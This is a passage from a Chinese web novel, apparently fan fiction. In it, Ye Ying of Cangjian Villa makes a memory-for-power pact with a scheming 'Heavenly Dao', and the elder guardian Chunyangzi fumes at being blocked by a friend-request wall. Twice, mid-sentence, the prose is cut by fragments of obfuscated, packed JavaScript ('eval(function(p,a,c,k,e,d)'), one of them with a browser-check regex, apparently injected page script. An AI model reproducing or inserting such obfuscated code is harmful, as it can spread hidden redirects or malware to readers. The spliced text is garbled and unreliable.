当积累的能量足够,我就能帮你逐步撬开那个封印,甚至……在未来为你打开回家的路。当然,回不回去随你哦,毕竟你现在温香暖玉在怀,想必也乐不思蜀了嘛。我们芊雅可是个大美人哦,配给你也不算吃亏吧~』 天道及时刹住了嘴。 叶英沉默着。 推动故事?积累能量? 这听起来依然像是一个精心设计的局。他厌恶被操纵的感觉,更厌恶将芊雅和他们的生活视为故事的一部分。 但恢复记忆和可能回家的诱惑,对于一个失去根的人来说,太大了。 更重要的是,他需要力量,需要弄清楚一切,才能更好地保护现在所拥有的。如果参与其中能让他更快地强大起来,掌握主动权,那么即使是与天道做交易,他也必须一试。 “我如何信你?”他最终问道,这是他最后的底线。他不能盲目踏入一个可能是陷阱的安排。 『你可以不信呀。』天道无所谓地说,『那就带着这个空白的脑袋过一辈子呗,反正你现在有美人相伴也不亏。只是可惜喽,藏剑山庄的叶少庄主,就要永远困在这个不属于他的戏台上了。还有你那些牵挂的家人,怕是永远也等不到你回去喽。反正就连那老头子都不要你了,都不让你回去了,要不然你就在我们这呆着呗,我又不嫌弃你~』 家人…… 这两个字像针一样刺进叶英心里。 他脑海中闪过极其模糊的关于家人的零碎感觉,一种沉甸甸的责任感压得他几乎喘不过气。 是的,他不能没有过去。 他有必须回去的理由,也有必须弄清的义务。 他不能让另一个世界的亲人永远等待,也不能让自己永远活在谜团之中。 更何况,只有彻底弄清一切,他才能真正掌控自己的命运,才能真正守护好身边这个他视若珍宝的人。 怀中的林芊雅似乎感觉到他长久的沉默和身体散发出的沉重气息,忍不住又轻轻拉了拉他:“夫君……你还好吗?到底……在跟谁说话?” 她的声音怯怯的,带着恐惧和浓浓的担忧。 叶英的心狠狠揪了一下。 他该怎么向她解释这荒诞的一切? 告诉她,她的夫君可能来自另一个世界,甚至所谓的诗意都是因为记忆被封印了?现在有个自称天道的东西在跟他谈交易? 不,现在不能。 这只会让她陷入更深的恐慌和无助。他需要时间消化,需要理清头绪,更需要先找到保护她的方法。 他闭上眼,再睁开时,眼底已是一片决然的清明。 无论如何,他必须拿回自己的记忆,掌握自己的命运。 这不仅是为了过去,更是为了能以一个完整清醒的姿态,守护好怀里的现在与未来。 他轻轻转过身,将林芊雅连人带被拥入怀中,让她靠在自己胸前,避开她惶惑的视线,却给予最坚实的拥抱。 “别怕,”他低声说,声音沙哑却异常坚定,“没什么。只是……想起一些很重要的事。” 他抬起头,目光似乎穿透帐幔,望向不可知的虚空,用清晰而沉稳的意念回应那个等待答案的天道: “我答应。” 他当然不会完全相信这个所谓的天道,但他现在别无他法。毕竟除了它没有人知道他的过去。 至于那个老头子,那个大唐,那些模糊的责任…… 等他足够强大,等他弄清楚一切,自然会去面对。 而现在,他需要力量,需要信息,需要从这个天道这里拿到打开第一道门的钥匙。 这或许是一场危险的交易,但为了守护和追寻,他别无选择。 29. 老道:他诽谤我啊! 无尽虚空之中,纯阳子正对着面前一片光幕咬牙切齿。 那光幕是连接两个相邻世界的界壁通讯窗口,此刻上面只显示着一行冰冷且毫无感情的文字: 【对方已开启好友验证,您还不是他/她的好友。请先发送好友请求。】 纯阳子盯着这行字,白眉倒竖,宽大的道袖无风自动。 “发发发,我发你大爷!” 老道活了不知多少岁月,自这方天地初开、规则成形时便与之共生,说是此界之灵也不为过。 他见过不少其他世界,也与那些世界的守护者打过交道。大多数都好说话,讲究个规矩体面,像他这般有事说事、有理讲理。 可他活了这万亿年,还从没见过如此厚颜无耻之人! 他手指发抖地点向发送好友请求的虚影按钮,那按钮他这几个月来已经戳了不下八百回。 毫无意外,请求如石沉大海。 “老道都发了八百回了!就没见你通过一次!你个瘪犊子玩意儿,还能不能要点脸了?!” 纯阳子气得在虚空中直跺脚。 “人贩子!破落户!小贼!你他娘的就是不要脸!”他忍不住又骂出声,这回连道门清净的修养都顾不上了,只觉得胸口堵着一团火,烧得他道心都有些不稳。 那可是他这边世界的重要人物,藏剑山庄的少庄主,未来要执掌一方在安史之乱那等大劫中扛起一片天的人物! 就这么一声不吭地被隔壁那破落户世界给偷了! 偷了还不算,现在连话都不让说了,直接拉黑! 纯阳子越想越气,恨不得立刻凝聚所有力量,在那摇摇欲坠的明朝世界壁垒上轰开个大洞,直接冲进去把人抢回来。 可这念头刚一升起,便被理智压了下去。 不行。 那破落户世界本就根基虚浮,全靠东拼西凑和啃他们这边溢散的规则灵气勉强维持。 他要是真强行破界,动静稍大些,那世界怕是当场就要崩碎大半。 世界崩毁的罪业因果,饶是他这等存在,也绝对扛不起,沾上了便是无穷麻烦,道基受损都是轻的。 那瘪犊子天道就是吃准了他这一点,才敢如此肆无忌惮地耍赖! 纯阳子喘了几口粗气,他盯着那行冰冷的提示,眼前仿佛又浮现出几个月前那场让他措手不及和焦头烂额的混乱。 事情到底是怎么一步步糟到这个地步的? 老道捋了捋雪白的胡须,强迫自己冷静下来开始回溯。 那时,也不过是再寻常不过的一天。 纯阳子如往常一般,巡弋在自己这方广袤世界的边缘。 他的身形在虚实之间变幻,意念与天地规则交织,感知着每一处细微的波动。 作为此界最古老的存在之一,他与世界同寿,职责便是维护此方天地的稳定运转,梳理灵力,修补因各种原因产生的时空皱褶与微小裂隙。 大唐世界疆域辽阔,生灵亿兆,每天发生的大小事件不计其数。 纯阳子虽能感知全局,但除非涉及世界根基的重大变故,他一般并不会特意关注某个具体人物的命运。 世界自有其惯性与规则,众生在其中生老病死和爱恨情仇,皆是常态。 他正将一道因灵气潮汐而略显不稳的时空皱褶慢慢抚平,动作娴熟,带着一种历经无尽岁月的从容。 东南边陲有个小门派因为争夺矿脉起了冲突,打得有点过火,逸散的能量可能扰动地脉。他分出一缕意念,悄无声息地降下一场恰到好处的雷雨,既浇熄了战火,又顺便补足了那处地脉的亏空。 北境草原上,某个部落正在祭祀,祈祷风调雨顺。他看了一眼,那部落首领心还算诚,便顺着祭祀的牵引,送去一丝柔和的生机,让那片草场接下来几个月能长得好些。 诸如此类,都是他日常处理的工作。 世界大体平稳,各门各派,朝廷江湖,都在既定的轨道上运行着。 虽然边境处与那个唤作明朝的半成品小世界接壤的地方,总有些摩擦,那边的天道像个饿急了的乞丐,时不时就想伸过手来啃他们这边完善规则逸散出的灵气和道韵,但都在可控范围内。 纯阳子修补过不少因此产生的细微裂隙,也顺手捞回过几个因为两界能量对流而不小心被卷过去的凡人,都没出过大乱子。 他本以为那天也会如此平静地过去。 直到—— 一阵尖锐到让他灵觉都为之刺痛的空间警报,毫无征兆地在他意识深处轰然炸响! 那并非普通的时空波动,而是来自两个世界碰撞交界处核心区域的、近乎崩溃的紊乱狂潮! 仿佛有什么东西,一下子捅破了勉强维持的平衡,让原本就脆弱的界域薄膜瞬间承受了难以想象的压力! 纯阳子脸色骤变,从容不迫的神情第一次被凝重取代。 怎么回事?那边的碰撞点明明前几日才加固过! 难道是明朝那个破落户天道又搞了什么大动作,想强行掠夺本源? 他瞬间收回了所有分散的意念,全部心神猛地投向警报传来的方位, 那是南海之滨靠近两界碰撞点的某处海域上空! 他意念如电穿透层层空间阻隔,瞬间抵达了事发之地。 眼前的景象让见多识广的纯阳子也怔了一瞬。 只见海天之间,一片巨大的和扭曲的虚空漩涡正在缓缓旋转,散发出令人心悸的吸力与混乱的规则乱流。 这漩涡的核心,隐约与隔壁明朝世界的某个坐标相连。而引发这恐怖漩涡的源头,似乎并非明朝天道主动攻击,而是…… 纯阳子的目光顺着能量乱流的轨迹迅速搜寻,很快锁定了一艘在惊涛骇浪中挣扎的海船,以及船上一道让他颇为熟悉的气息。 藏剑山庄的少庄主,叶英。 此刻的叶英,状态极其不对劲。他独自待在船舱内,面前放着一块黝黑奇异和布满天然纹路的铁石。 而他的手指,正触碰在那铁石的纹路上。 纯阳子的灵觉扫过那块铁石,心里便是一沉。 时空规则碎片! 而且是两个世界碰撞时,因极端巧合与巨大能量对冲,偶然凝结出的和蕴含了部分混乱时空信息的奇异造物!这东西极其罕见,也极其不稳定,通常会随着时间推移慢慢消散,或者沉寂在碰撞点深处。 怎么会被人挖出来,还带到了船上? 叶英这小子又怎么恰好碰到了它? 更让纯阳子心惊的是叶英此刻的状态。 他双目紧闭,脸色苍白如纸,周身上下气息翻滚沸腾,经脉内气血逆冲的迹象清晰可见。 这显然是承受了远超自身极限的信息冲击!而最直观的变化是,他那头原本墨黑如瀑的长发,此刻正以肉眼可见的速度,从发根处蔓延开一片刺眼的霜白!不仅如此,他眉心紧蹙,眼睑下眼球剧烈颤动,却无法睁开,竟是暂时失了视觉! “胡闹!”纯阳子忍不住低喝一声。 这规则碎片蕴含的信息是破碎跨越时间的和充满了两个世界交错烙印。 普通人接触,轻则神魂受创变成痴傻,重则直接爆体而亡。 叶英武功虽高,心性坚韧,猝然接触这等事物,也绝对吃不消!那白发和目盲,就是身体与神魂无法承受冲击,本能地开启的保护机制,也是严重透支的反噬! 纯阳子急忙将更多注意力投入过去,想仔细探查叶英到底看到了什么,伤势具体如何。 这一探,他心头更是猛地一揪。 不对! 这不仅仅是受伤和透支! 叶英的神魂深处,那片属于个人记忆与认知的区域,此刻正被大量强行涌入的和光怪陆离的碎片画面冲击得摇摇欲坠! 那些画面模糊不清,支离破碎,却带着强烈的既视感与未来气息……剑冢枯坐的漫长孤寂…… 枫华谷冲天而起的烽烟与血色…… 天泽楼前海棠花落时心剑初成的悸动…… 甚至还有更遥远的、战火燎原和山河破碎的悲壮景象,以及最后……双目永寂和白发如雪,于西湖畔抱剑终老的苍凉背影…… 这是……未来的记忆碎片?! 纯阳子倒吸一口凉气。 这小子,竟然通过这块规则碎片,窥见了属于他自己未来的一些可能性?!虽然只是杂乱无章的片段,但信息量巨大,且直接作用于神魂! “坏了坏了!”纯阳子急得直搓手心,“这要出大事!” 叶英是谁? 是此界未来关键历史节点安史之乱中不可或缺的重要人物之一! 是藏剑山庄未来的顶梁柱,是心剑之道的传承与发扬者!他的成长轨迹、心路历程、乃至某些关键时刻的选择,都与世界线息息相关,牵一发而动全身。 若是让他现在就清晰知晓了未来诸多细节,尤其是那些关乎生死抉择和门派存亡和乃至天下大势的关键节点,会产生什么后果? 他可能会因为预知而刻意规避某些风险,从而错过必要的磨砺与成长,导致心剑无法圆满。 他可能会试图提前改变某些注定发生的悲剧,反而引发更大的和不可预知的混乱,让世界线走向彻底失控。 他甚至可能因为知晓了某些亲近之人的悲惨结局,心魔深种,道途断绝! 尤其是安史之乱那等席卷天下和生灵涂炭的大劫,其中因果纠葛复杂到了极致,任何一点来自未来的干涉,都可能像蝴蝶振翅,掀起摧毁一切的飓风! “绝对不能让这些记忆留存!”纯阳子瞬间做出了判断。 必须立刻进行干预,将这些本不该此时出现的未来记忆碎片封印和隔离,最好能彻底抹除! 事急从权,他也顾不得许多了。意念一动,便调动起磅礴的世界本源之力。 这并非攻击,而是最精微的封印与抚平之术。且需要极高的操控精度,既要封住那些错乱的记忆碎片,又不能伤及叶英本身的神魂根基与现有的正常记忆。 纯阳子对自己的手段向来很有信心。 他活了这么久,处理过各种稀奇古怪的麻烦,封印个把人的记忆,虽不常做,但原理相通,应当不难。 一道柔和却无比坚韧的和由纯粹规则构成的清光,自虚无中诞生,悄无声息地落向船舱内痛苦挣扎的叶英,目标直指他神魂中那些沸腾的异色碎片。 然而,就在清光即将触及叶英额心的刹那—— 异变再生! 那两块本就处于剧烈碰撞状态的世界壁垒,因核心区域能量被规则碎片引动和又被纯阳子调取本源之力干预,平衡瞬间被打破! 一股比之前猛烈十倍的吸力陡然从明朝世界那边传来,仿佛一张贪婪的巨口,疯狂吞噬着这边逸散的一切能量,连带着纯阳子那道封印清光也受到了剧烈干扰! “不好!”纯阳子暗叫一声,急忙想要稳住封印术法的轨迹。 可就在这电光石火和内外交困的瞬间,他对于力量那精妙入微的掌控,出现了一丝极其微小的和在平时根本可以忽略不计的偏差。 就是这一丝偏差,在狂暴的两界能量乱流中被无限放大! “嗤——!” 清光确实笼罩住了叶英,也确实开始封印那些未来的记忆碎片。 但那力量在紊乱能量场的撕扯下,失去了部分应有的柔和与精准,变得有些……粗暴。 纯阳子眼睁睁看到,叶英浑身剧震,猛地喷出一大口鲜血,脸色瞬间金纸,气息急剧萎靡下去! 那封印之力在完成任务的同时,也对他的神魂和经脉造成了不小的冲击与震荡,让他本就因信息冲击而重伤的身体,雪上加霜! 糟了!力道用大了! 纯阳子心里一咯噔,懊悔不已。 光顾着阻止未来记忆泄露,却没能完全控制好力度,这下真是伤上加伤! 他正想再施手段,稳住叶英的伤势,至少护住他心脉不要彻底崩碎。可就在这时,那因他干预而彻底爆发的两界能量乱流,达到了一个恐怖的峰值! “轰隆隆——!” 虚空中的漩涡猛然扩张,吸力暴增! 一个巨大的和不稳定的时空通道在混乱中一闪而逝!而那艘本就处于风暴边缘的海船,连同船上昏迷不醒和气息微弱的叶英,被一股无法抗拒的巨力猛地掀起,朝着那幽深莫测的通道口抛去! “拦住!”纯阳子意念急转,瞬间在船体周围布下三层防护屏障,同时分出一股柔和力量,试图将叶英从船上摄出。 可明朝世界那边传来的吸力实在太过古怪和凶猛,仿佛蓄谋已久,专门针对这种过界行为。 他布下的屏障在狂暴的能量撕扯下迅速明灭不定,而那股摄拿的力量,也受到了极大的干扰。 就在这片刻的僵持与混乱中,船上的水手惊恐的呼喊、船体解体的巨响、以及最后时刻,几个忠心的船员拼死扑向昏迷的少庄主却抓了个空的画面,交织成一团。 纯阳子终究没能完全拉住。 他只能眼睁睁看着叶英的身影,连同半截破碎的船体,被那股诡异的吸力彻底吞没,消失在通往明朝世界的时空通道之中。 而在最后关头,他拼尽全力,也只能将一道极其微弱的和蕴含生机与定位信息的保命印记,打入了叶英体内,希望能护住他最后一点心脉不息,并让自己将来有机会找到他。 至于那块引发一切的规则碎片,在释放完所有时空信息后,已经变成了一块质地奇特和灵气尽失的坚硬铁块,扑通一声落入海中,被一个侥幸抓住木板幸存的水手下意识地捞了起来。 纯阳子瞥了一眼,确定那东西已无害,便不再理会,当务之急是那破了个大窟窿和正在疯狂泄露本世界灵气的两界壁垒! 叶英小子有他的保命印记在,一时半会儿应该死不了。 当务之急是堵住这个突然扩大的漏洞! 否则本源流失过多,他这边世界也要元气大伤! 纯阳子咬了咬牙,暂时将对叶英的担忧压下,全部心神投入到修补那恐怖的时空裂缝之中。 那裂缝因规则碎片被触发和他刚才的干预而变得极不稳定,修补起来异常吃力,他必须全力以赴。 这一修,就是好几日。 当他终于将那个贪婪吞噬灵气的破口勉强堵上和设置好临时加固结界后,已经是几天之后。 他稍微松了口气,立刻便想起叶英,连忙循着那道保命印记的感应去寻人。 这一寻,他愣住了。 印记的感应……断了? 不,不是断了,是被一股强大而陌生的世界之力彻底屏蔽隔绝了!而那屏蔽的来源,赫然正是隔壁那个明朝小世界! 纯阳子心头升起不祥的预感。他尝试通过两个世界管理者之间常规的通讯渠道,也就是那面界壁光幕,联系对面世界的天道意识。 光幕亮起,连接建立的速度比平时慢了些。 纯阳子清了清嗓子,虽然知道对面大概率只是个世界意志的聚合体,没啥真正人的礼节概念,但他还是习惯性地拿出了交涉的态度,用神念传递出自认为平和的信息: “咳咳,隔壁世界的天道小友,是贫道纯阳子啊。” 他斟酌着词句,想着对方可能刚诞生不久,灵智或许不高,得把话说得明白些。 “兹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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是你们给扣下了?!还安排上了婚事?! “小破落户!你他娘偷老子娃!!!” 震怒的声音在虚空中回荡,可惜无人听见。纯阳子只觉得一股邪火直冲顶门。 之前这明朝世界偷偷啃他们这边的灵气规则,他看在对方世界不全和生存不易的份上,睁一只眼闭一只眼,修补裂缝时顺手多送点溢散能量过去,就当扶贫了。 可这瘪犊子倒好,贪心不足,现在居然敢直接下手偷人了!偷的还是他这边至关重要的人物! 这还能忍?! “还给我!”纯阳子对着已然黯淡的界壁低吼 “老子活了万亿年,带过的世界和见过的人物不计其数,还从来没见过你这么厚颜无耻的!” 虚空中界壁没有任何反应,就连原本调侃的声音都消失不见了。 靠软的不行,看来得来点硬的了。 纯阳子沉下心神,周身道韵流转,磅礴的世界本源之力开始在他虚化的形体周围汇聚。 他打算不惜消耗,强行在那个刚刚加固过的明朝世界壁垒上,撕开一个微小的仅供意念通过的临时缝隙,至少要把自己的态度和要人的决心明确传递过去,施加压力。 然而,当他凝聚的力量触碰到界壁时—— 熟悉的冰冷光幕再次自动弹出,上面依旧是那行让他血压飙升的字: 【对方已开启好友验证,您还不是他/她的好友。请先发送好友请求。】 纯阳子:“……” 他加力,试图用更强大的本源之力破解这层通讯屏蔽。 界壁纹丝不动,光幕上的字闪了闪,依旧顽固地挂着。 这时,一道懒洋洋的和仿佛刚睡醒还带着浓浓倦意的意念,透过厚厚的界壁屏障,模糊地传递过来,虽然微弱,但那股耍无赖的劲儿却清晰可辨: 『老头子……你烦不烦啊?都说了在睡觉,人在我这好着呢……有本事你拆墙啊?拆了墙,两个世界一起塌,看谁心疼……我可是光脚的不怕穿鞋的……zzZ……』 意念到最后,甚至模拟出了打呼噜的声音,然后彻底沉寂。 纯阳子气得三尸神暴跳,雪白的须发都仿佛要根根立起: “无赖!泼皮!你把老子的人还过来!!!那是我们世界的重要人物!不是你捡的阿猫阿狗!” 他再次试图冲击通讯屏蔽。 界壁光幕又忠实地履行职责,闪烁弹出: 【对方已开启好友验证,您还不是他/她的好友。请先发送好友请求。】 纯阳子不死心,换了种能量频率尝试沟通。 【对方已开启好友验证,您还不是他/她的好友。请先发送好友请求。】 纯阳子汇聚力量,想强行震荡界壁,引起对面注意。 【对方已开启好友验证,您还不是他/她的好友。请先发送好友请求。】 “……” 纯阳子看着眼前这行仿佛永恒不变的提示,又感受了一下界壁后面那彻底封闭死猪不怕开水烫的状态,一股深深的无力感涌上心头。 他活了无穷岁月,涵养功夫早已臻至化境,此刻却罕见地产生了一种极其强烈的不符合他仙风道骨形象的冲动。 他想对着那堵看不见的墙,竖起一根手指,还是五指中第三根的那只。 当然,他最终没有这么做。 不是顾及形象,而是觉得就算做了,对面那个没脸没皮的天道估计也看不见,看见了恐怕还会嘲笑他。 纯阳子颓然地松开了凝聚的力量。 他知道,短时间内,是别想通过正常途径把叶英要回来了。 那破落户天道铁了心要留人,而且精准地拿捏住了他的软肋,不敢真的暴力破界,导致两个世界尤其是那个本就脆弱的明朝世界崩溃。 “这叫什么事儿啊……”老道郁闷地叹了口气,拂尘一扫,将面前的光幕挥散。 他看着眼前坚固且被加了无数道锁的界壁,仿佛能看到后面那个偷了人还得意洋洋和呼呼大睡的无赖天道。 硬抢暂时不行,常规沟通被拉黑。 难道……就只能这么干等着? 每隔几天发个好友请求过去,指望哪天那瘪犊子心情好,突然通过验证? 纯阳子觉得这想法更让人憋屈了。 可眼下,似乎也没有更好的办法。 他总不能真不管不顾,为了一个叶英,赌上两个世界的稳定,尤其是自家世界的根基。 “叶英小子……”纯阳子望向界壁,目光似乎能穿透那厚重的屏障,看到那个此时不知在明朝世界何处,甚至可能已经懵懵懂懂成了别人夫君的藏剑少庄主, “你且……好好的。千万别被那破落户给彻底忽悠瘸了。封印的记忆……唉,也不知道封得严不严实,会不会有后患。” 他摇了摇头,又想起藏剑山庄那边。 叶英失踪的消息,怕是已经传回去了。 叶孟秋那老小子,还有叶晖那几个兄弟,现在还不知道急成什么样。 还有安史之乱的伏笔……少了叶英这个关键人物,未来的变数可就大了。 “麻烦,真是天大的麻烦。”纯阳子喃喃自语,只觉得肩上的担子从未如此沉重过。 他最后看了一眼那将他隔绝在外的界壁,终究还是再次抬起手带着几分不甘和几分无奈的恼怒,戳向了那个虚幻的发送好友请求按钮。 第八百零一次。 界壁沉默着,毫无反应。 纯阳子也沉默着,身影在无尽的虚空中,显得有些萧索。 这事,没完。 他得好好想想,怎么才能既不用暴力破界,又能给那个不要脸的破落户天道施加足够的压力,让他把人乖乖还回来。 或者……至少,得知道叶英在那边的具体情况,到底是不是真的吃得好住得好还成了亲? 老道捋着胡须,陷入了漫长的思考。 30. 就决定是南安王府了! 叶英说完那句“我答应”之后,那自称天道的诡异声音便像是达成了目的,心满意足地匿去了,只留下一句模糊的『静候佳音哦~』,便彻底消失在他脑海中,再无半点声息,仿佛刚才那一番惊世骇俗的对话只是他心神激荡下产生的幻觉。 但叶英知道不是。 怀中的温热与颤抖是如此真实,林芊雅带着恐惧和担忧的声音还在耳边。他必须立刻处理眼前的事,不能再让她沉浸在未知的恐慌里。 他深吸一口气,将翻腾的心绪强压下去,低头看向怀里的人。林芊雅被裹在锦被里,只露出一张苍白的脸,那双总是沉静清亮的眼眸此刻盛满了惊疑不定,正一眨不眨地望着他,嘴唇微微抿着,似乎在极力克制着身体的颤抖。 “夫君……”她又唤了一声,声音比刚才更轻,也更不安,“你方才……到底在和谁说话?我什么也听不见……可你……” 她的目光落在他方才下意识握紧又松开的手,落在他微微绷紧的下颌线条上,“你好像……在和什么看不见的东西对峙?这屋里……是不是有什么……”她说不下去了,眼里浮上一层薄薄的水光,不是害怕屋里有邪物,而是害怕他出事。 叶英垂下眼,看着妻子苍白惊惶的脸,心头那点因与天道交锋而生的冷硬与决绝,瞬间被更汹涌的心疼与愧疚淹没。 他吓到她了。 他无法解释天道,无法解释世界的真相,更不能告诉她,他们的相遇可能源自一场算计。 告诉她,他们的相遇可能是一场精心算计? 告诉她,她的存在被某种更高的意志定义为女主? 告诉她,他来自另一个世界,记忆被封印,如今正与那个算计他们的存在做着危险的交易? 不。 这只会将她拖入更深的不安与恐惧,让她怀疑一切,包括他们之间刚刚建立起来的和他珍视无比的感情。 她心思重,身体又弱,承受不住这样的冲击。至少在眼下,在他还没有能力掌控局面和为她撑起一片绝对安全的天地之前,他不能说。 这些话此刻说出来,除了增添她的恐惧和疑虑,没有任何好处。 他松开一直虚握成拳的手,掌心因为用力而有些发白。他动作极其轻柔地,将裹着她的锦被又往上拢了拢,确保她不会着凉,然后才伸手,用指腹极轻地拭去她眼角将落未落的泪意。 “没有邪物,”他开口,声音有些低哑,但尽力维持着平稳,“别怕。” 他顿了顿,像是在斟酌词句,“只是……我方才,想起了一些极重要的事,心神激荡,或许……举止有些异常,吓到你了。” 这个解释很苍白,连他自己都觉得站不住脚。 想起重要的事,何至于骤然拔剑,全身紧绷如临大敌?又何至于对着虚空低喝质问? 林芊雅显然不信。她不是那种能被轻易糊弄过去的深闺女子。 她看着他,目光在他脸上仔细搜寻,想从他那双刚刚恢复了清明和却似乎比以往更深沉几分的灰眸里找到答案。 可叶英的眼神虽然温和,却带着一种她从未见过的和近乎封闭的沉静,将那惊涛骇浪都牢牢锁在了眼底深处,不泄露分毫。 他到底遇到了什么事? 难道和朝堂上的凶险有关? 还是和他那空白的过去有关? 她张了张嘴,想问是什么重要的事,想问你是不是有事瞒着我,可话到嘴边,又咽了回去。 她看到了他眉宇间那一丝极力掩饰却依旧残留的疲惫与沉重,看到了他握住自己手时和指尖那不易察觉的微颤。 那不是恐惧,而是一种更复杂的和仿佛背负了千钧重担的凝滞感。 他是她的夫君,是那个在溶洞里背着她走出来和为她挡下所有坠石的男人。 他若不愿说,自有他的理由和难处。 她若此刻刨根问底,除了让他更加为难,又能得到什么? 逼他说出或许连他自己都还未理清的和令人痛苦的真相吗? 林芊雅忽然觉得心口闷闷的,不是生气,而是一种混合了担忧无力和心疼的复杂情绪。 她不想逼他,可她也无法装作什么都没发生。 方才那一刻他骤然爆发出的冰冷锐利与警惕,是她从未见过的另一面,陌生得让她心悸。 她想起父亲近日的凝重,想起朝堂上潜藏的风雨,再结合夫君今夜如此反常的戒备…… 难道,是南安王府那边,又或是其他什么势力,用了什么她不知道的阴私手段,连夫君这样的武功都如此忌惮?这个猜测让她背脊发凉,却又似乎比不干净的东西更合理些。 她张了张嘴,想问,可看到叶英那双平静却明显不愿多谈的眼睛,到了嘴边的话又咽了回去。她了解他,他若打定主意不说,再问也是徒劳,只会让他更加为难。 最终,她只是垂下眼睫,将脸更深地埋进他胸前,双手环抱住他的腰,声音闷闷的,带着一点压抑的哽咽:“你没事就好……方才,真的吓到我了。”她没有追问。 叶英的心像是被一只柔软的手攥住了,酸涩发胀。他何尝不想告诉她? 将这荒诞离奇和令人窒息的真相和盘托出,或许能减轻他独自背负的重量。 可他不能。 他知道她聪明,定然看出了端倪,可她选择了不问,选择了相信和等待。 这份毫无保留的信任,在此刻知晓了所谓世界真相和天道算计后,显得格外珍贵,也格外让他愧疚。 他收紧手臂,将她整个人圈在怀里,下巴抵着她的发顶,低沉而郑重地许诺:“芊雅,信我。无论发生什么,我绝不会伤害你,也定会护你周全。” 这话像是在对她说,也像是在对自己说。 无论他的来历如何,无论这背后有多少算计,此刻拥在怀里的温暖和信任,是他绝不容许任何存在玷污或破坏的底线。 他必须更快强大起来,才能对得起这份信任。 “嗯。”林芊雅在他怀里轻轻点了点头,没再说什么。 她闭着眼,听着他沉稳有力的心跳,那令人安心的韵律渐渐驱散了方才的惊惧。 她知道他心里装着事,很重的事。 他不说,她便不问。 但她会守在他身边,像他此刻抱着她一样,给他一个可以暂时依靠和放松的地方。 她也要尽快好起来,不能总是成为他的负担和软肋。 两人就这么静静相拥着,谁也没有再说话。 帐内重新安静下来,只有彼此交缠的呼吸和心跳声。 先前那诡异声音带来的冰冷与荒诞感,似乎被怀中这份真实的温暖暂时驱散了。 林芊雅身体本就刚好,又受了这番惊吓,精神便有些支撑不住,加上叶英怀抱温暖安稳,困意渐渐袭来。 她强撑着眼皮,含糊地咕哝了一句:“夫君……你也早些歇息……” 话未说完,呼吸便已变得均匀绵长,竟是就这样靠在他怀里睡着了。 叶英低头,看着她恬静的睡颜,睫毛上还沾着一点未干的湿意。 他伸出手,极轻地将她脸颊上一缕汗湿的发丝拨开,动作轻柔得仿佛对待易碎的珍宝。 直到确认她已沉沉睡去,他才缓缓吐出一口一直憋在胸口的浊气,一直紧绷的肩背线条,几不可查地松垮下来一丝。 他轻轻地将她放平在枕上,为她盖好被子,自己则和衣在她身侧躺下,却并无睡意。 天道的话,像一把钥匙,打开了一扇通往迷雾深处的大门,门后并非光明坦途,而是更加错综复杂和令人窒息的真相。 他来自另一个世界,大唐,藏剑山庄。他的记忆被封印,重伤失明,皆因一次失败的救援。而与他相遇相守的妻子,竟是此方世界选定的女主,他们的结合,背后有着天道精心的引导与算计。 这些信息冲击太大,他需要时间消化,更需要理清头绪。 首先,他不能完全相信那个所谓的天道。那东西语气轻浮油滑,行事诡谲,更像是个精于算计的商人,而非公正无私的世界意志。 它提出的交易——推动故事,积累能量,换取解开封印甚至回家之路——听起来合理,但其中必然隐藏着更深的目的和风险。 它需要他和芊雅推动故事,具体要如何推动?卷入怎样的风波?它所谓的真实,又究竟是何标准? 其次,关于芊雅。 天道说她是女主,是此界锚点。叶英对此嗤之以鼻。 在他眼中,林芊雅就是林芊雅,是他的妻子,是一个聪慧坚韧和会为他割腕放血和也会因害怕而颤抖的活生生的人。 她的过去和她的父亲林承泽或许特殊,但这与她本身无关。 他不会允许任何存在,包括这个天道,将她物化为一个角色或工具。 无论最初是什么将他们联系在一起,如今维系他们的,是彼此交付的真心与共同经历的风雨。 然后,是关于他自己。 大唐,藏剑山庄……这些名字带来的熟悉与悸动是如此强烈,几乎要冲破那层坚固的封印。 他有家人,有责任在那里。那个世界的老头子封印了他的记忆,虽然是操作失误导致他重伤流落至此,但其初衷似乎是为了保护那个世界的时间线……他也无法确定天道说的是否是真的。 但有一点是明确的:他必须尽快恢复力量,不仅是武功,还有记忆。 只有足够强大,他才能保护芊雅,才能应对可能来自任何方向的麻烦——无论是这个世界的政敌,还是那个诡异天道的算计,亦或是将来或许会面对的和关于归处的抉择。 交易已经达成。他需要推动故事,积累那所谓的故事力。 这让他本能地抗拒。他厌恶被操控,厌恶自己的人生和情感成为他人剧本里的情节。 可眼下,他似乎别无选择。这像是一个阳谋,用他最渴望的东西——记忆和力量——作为诱饵,将他绑定在这个世界的命运轨迹上。 那么,就从眼前开始。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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『下一步该干嘛了呢?感情基础打牢了,世界观也铺开了,主角也初步接受设定了……按照标准流程,该把反派拉出来溜溜,制造点冲突和危机,推动剧情发展了嘛!』 光晕兴奋地闪烁了几下。 『嗯嗯,就决定是你了,南安王府!』 它啪地一声合上笔记本。 『旧怨加现仇加觊觎女主未遂加立场对立,标准反派配置!正好给叶英这小子练练手,也让他更清楚地认识到保护老婆的必要性和紧迫性!顺便……嘿嘿,也能从冲突里汲取不少故事能量呢!』 它似乎对自己的安排非常满意,光晕舒展开来,懒洋洋地靠在壁垒上,继续看着房间里相拥而眠的两人。 『话说回来,』它忽然又想起什么,光晕微微凝实了些 『得把叶英这小子看牢点。虽然那老头子好像暂时没辙,但保不齐他什么时候又想出别的歪点子。叶英现在可是本世界晋升的关键催化剂,可不能让他被拐跑了。嗯……得再稍微加固一下世界壁垒对应区域的防护,再多设置几层意识屏蔽,防止那老头子用别的法子跟叶英联系上。』 它一边琢磨着,一边已经开始悄无声息地调动起世界规则的力量,在叶英所处的京城区域上空,布下了一层又一层极其细微和却坚韧无比的防护与隔绝网。 这些网络不会对寻常生灵产生任何影响,甚至不会干扰风雨雷电等自然现象,但它们会严密监控并屏蔽任何来自世界之外和试图与叶英建立联系的异常波动。 做完这一切,它才重新放松下来,光晕恢复成懒散的波动状态。 